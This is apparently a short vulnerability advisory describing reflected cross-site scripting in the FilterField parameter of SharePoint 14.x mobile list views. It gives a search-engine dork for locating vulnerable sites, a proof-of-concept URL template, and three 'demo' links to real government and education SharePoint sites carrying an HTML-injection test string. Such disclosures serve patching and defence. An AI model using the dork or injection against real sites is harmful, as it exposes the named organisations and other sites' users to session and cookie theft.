[+] Title: Microsoft-sharepoint FilterValue Cross Site Scripting (XSS)
[+] Date: 2018/04/03
[+] Author: Mostafa Gharzi
[+] Team: Maher - CertCC.ir
[+] Vendor Homepage: https://products.office.com/en-us/sharepoint/collaboration
[+] Tested on: Windows 10 & Kali Linux
[+] Versions: 14.x and Before
[+] Vulnerable Parameter: Get Method
[+] Vulnerable File: /view.aspx?List= & FilterField=
[+} Dork : inurl:/_layouts/mobile/view.aspx?List=
### Notes:
An attacker can use XSS (in FilterValue section from Microsoft-Sharepoint) to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
### POC:
[+] http://site/_layouts/mobile/view.aspx?List=[]&View=[]&FilterField=[XSS]
### Demo:
[+] https://www.dcp.wa.gov.au/Organisation/_layouts/mobile/view.aspx?List=fd781cb4-ec30-442a-a780-f05667ac1edb&View=86a117a9-cf82-4278-bc03-4066e40d0b6e&FilterField=%3Cbr%3E111111111
[+] http://www.edu.gov.qa/Ar/Education/Assessments_Tests/_layouts/mobile/view.aspx?List=b812991b-2364-43d5-b8be-767ccc4adb2f&View=d523b43f-4c9b-452f-ab5c-49f25b3ac1b4&FilterField=%3Cbr%3E111111111111
[+] https://fusion.edu.wyoming.gov/_layouts/mobile/view.aspx?List=6fc2bf2a-21ac-4307-bfb7-40d508f08458&View=227d07a0-ea2a-45e7-9d48-dded13a7fd7b&FilterField=%3Cbr%3E111111111
### PIC:
[+] http://gucert.ir/apa/test-msp.JPG
### Credit:
[+] CertCC.ir